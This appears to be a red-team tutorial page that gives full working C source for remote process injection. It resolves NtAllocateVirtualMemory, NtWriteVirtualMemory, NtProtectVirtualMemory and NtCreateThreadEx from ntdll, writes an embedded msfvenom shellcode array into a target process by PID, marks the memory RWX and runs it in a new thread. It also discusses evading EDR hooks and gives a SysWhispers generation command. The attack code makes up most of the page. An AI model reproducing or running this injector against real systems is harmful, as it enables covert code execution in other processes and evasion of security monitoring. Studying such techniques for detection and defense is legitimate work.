Syscalls-ProcessInjection
What is it?
Remote shellcode injection using NT-level API function pointers instead of the Win32 wrappers — NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, and NtCreateThreadEx — resolved at runtime via GetProcAddress from ntdll. This skips one layer of abstraction but is not true syscall invocation (hooks in ntdll still fire). True direct syscalls would require the SysWhispers-generated stubs from the companion post.
How it works
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
Syscall struct:
typedef struct _Syscall {
fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
fnNtProtectVirtualMemory pNtProtectVirtualMemory;
fnNtWriteVirtualMemory pNtWriteVirtualMemory;
fnNtCreateThreadEx pNtCreateThreadEx;
} Syscall;
InitSyscallStruct(&St):
GetModuleHandle(L"NTDLL.DLL") → hNtdll
GetProcAddress(hNtdll, "NtAllocateVirtualMemory") → St->pNtAllocateVirtualMemory
GetProcAddress(hNtdll, "NtProtectVirtualMemory") → St->pNtProtectVirtualMemory
GetProcAddress(hNtdll, "NtWriteVirtualMemory") → St->pNtWriteVirtualMemory
GetProcAddress(hNtdll, "NtCreateThreadEx") → St->pNtCreateThreadEx
SyscallRemoteInjection(hProcess, shellcode, shellcodeSize):
Step 1: Allocate
St.pNtAllocateVirtualMemory(
hProcess,
&pAddress, ← NULL input → OS picks address
0, ← ZeroBits
&sSize, ← shellcode size → rounds up to page boundary
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE)
Step 2: Write
St.pNtWriteVirtualMemory(
hProcess,
pAddress,
pShellcode,
sShellcodeSize,
&sNumOfBytesWritten)
Step 3: Protect
St.pNtProtectVirtualMemory(
hProcess,
&pAddress,
&sShellcodeSize,
PAGE_EXECUTE_READWRITE,
&uOldProtect)
Step 4: Execute
St.pNtCreateThreadEx(
&hThread,
THREAD_ALL_ACCESS,
0, ← ObjectAttributes = NULL
hProcess,
pAddress, ← start address = shellcode
NULL, ← parameter
NULL, ← flags (0 = not suspended)
NULL, NULL, NULL, NULL)
→ Thread created in target process, starts at shellcode
main():
OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID)
← hardcoded PID: 10360 (change before use)
NtCreateThreadEx is used instead of CreateRemoteThread because it exposes more control (thread flags, stack size, etc.) and is less directly monitored than CreateRemoteThread by some basic EDRs. They call the same kernel path ultimately, but the call chain differs.
The important caveat: calling GetProcAddress for these NT functions and then invoking them still passes through ntdll — which means EDR hooks installed at the ntdll function entry points still fire. This is NT-layer API usage, not direct syscalls. The win here is avoiding the Win32 wrapper (VirtualAllocEx → NtAllocateVirtualMemory → syscall vs. NtAllocateVirtualMemory → syscall directly), which saves one function call layer and avoids some Win32 validation code, but doesn’t bypass ntdll hooks. The SysWhispers post would genuinely bypass those hooks.
Syscalls-processinjection.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
/*
Explaination:
- We are going to implement remote process injection with syscalls. Below will be the WinAPI and their syscall replacement
VirtualAlloc -> NtAllocateVirtualMemory
VirutalProtect -> NtProtectVirutalMemory
WriteProcessMemory -> NtWriteVirtualMemory
CreateThread -> NtCreateThreadEx
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o SysWhispers -v
*/
#include <Windows.h>
#include <stdio.h>
#include "structs.h"
// Remote target process ID
#define PROCESS_ID 10360
// msfvenom, calc.exe
unsigned char shellcode[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
// A structure that keeps the syscalls used
typedef struct _Syscall {
fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
fnNtProtectVirtualMemory pNtProtectVirtualMemory;
fnNtWriteVirtualMemory pNtWriteVirtualMemory;
fnNtCreateThreadEx pNtCreateThreadEx;
} Syscall, *PSyscall;
/*
Function: to populate the St structure
*/
BOOL InitSyscallStruct(_Out_ PSyscall St) {
// Get handle to address of ntdll
HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
if (!hNtdll) {
printf("[!] GetModuleHandle Failed %d \n", GetLastError());
return FALSE;
}
// Resolve each NT function address
St->pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
St->pNtProtectVirtualMemory = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
St->pNtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
St->pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
// Verify struct hold address (not empty)
if (!St->pNtAllocateVirtualMemory ||
!St->pNtProtectVirtualMemory ||
!St->pNtWriteVirtualMemory ||
!St->pNtCreateThreadEx)
{
printf("[!] One or more Nt functions were not found!\n");
return FALSE;
}
return TRUE;
}
/*
Function: Inject shellcode via syscall into remote thread
hProcess -> Handle to target process
pShellcode -> Pointer to shellcode memory address
sShellcodeSize -> Hold size of shellcode in bytes
1. Allocate memory in remote process
2. Write shellcode into allocated memory
3. Update memory to be executable
4. Create remotethread at shellcode entry point
*/
BOOL SyscallRemoteInjection(_In_ HANDLE hProcess, _In_ PVOID pShellcode, _In_ SIZE_T sShellcodeSize) {
Syscall St = { 0 };
NTSTATUS STATUS = 0x00;
PVOID pAddress = NULL;
ULONG uOldProtect = 0;
SIZE_T sSize = sShellcodeSize, sNumOfBytesWritten = 0;
HANDLE hThread = NULL;
// Initialize the syscall structure with function pointers from ntdll.dll
if (!InitSyscallStruct(&St)) {
printf("[!] Failed To initilize Syscall Struct ! \n");
return FALSE;
}
// Allocating memory through Syscall
if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
printf("[!] pNtAllocateVirtualMemory Failed 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Memory Allocated At: 0x%p of Size (Bytes): %d \n", pAddress, sSize);
printf("[+] Press <Enter> To Write Payload \n");
getchar();
// Writing shellcode through Syscall
if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pShellcode, sShellcodeSize, &sNumOfBytesWritten)) != 0 || sNumOfBytesWritten != sShellcodeSize) {
printf("[!] pNtWriteVirtualMemory Failed 0x%0.8X \n", STATUS);
return FALSE;
}
// Update permissions to RWX through Syscall
if ((STATUS = St.pNtProtectVirtualMemory(hProcess, &pAddress, &sShellcodeSize, PAGE_EXECUTE_READWRITE, &uOldProtect)) != 0) {
printf("[!] pNtProtectVirtualMemory Failed 0x%0.8X \n", STATUS);
return FALSE;
}
// Executing shellcode into remote thread
printf("[+] Press <Enter> To Inject Shellcode! \n");
getchar();
printf("[+] Thread Entry Point 0x%p \n", pAddress);
// Creating remote thread
if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, 0, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] pNtCreateThreadEx Failed 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Thread Created With PID: %d \n", GetThreadId(hThread));
return TRUE;
}
int main() {
HANDLE hProcess = NULL;
// Open handle to the target process with full access rights
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID);
if (!SyscallRemoteInjection(hProcess, shellcode, sizeof(shellcode))) {
return -1;
}
printf("[+] Press <Enter> To Exit! \n");
getchar();
return 0;
}
structs.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#pragma once
#include <Windows.h>
// https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory
typedef NTSTATUS(NTAPI* fnNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Memory%20Management/Virtual%20Memory/NtProtectVirtualMemory.html
typedef NTSTATUS(NTAPI* fnNtProtectVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T NumberOfBytesToProtect,
ULONG NewAccessProtection,
PULONG OldAccessProtection
);
// http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Memory%20Management/Virtual%20Memory/NtWriteVirtualMemory.html
typedef NTSTATUS(NTAPI* fnNtWriteVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToWrite,
PULONG NumberOfBytesWritten
);
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h#L2228
typedef NTSTATUS(NTAPI* fnNtCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PPS_ATTRIBUTE_LIST AttributeList
);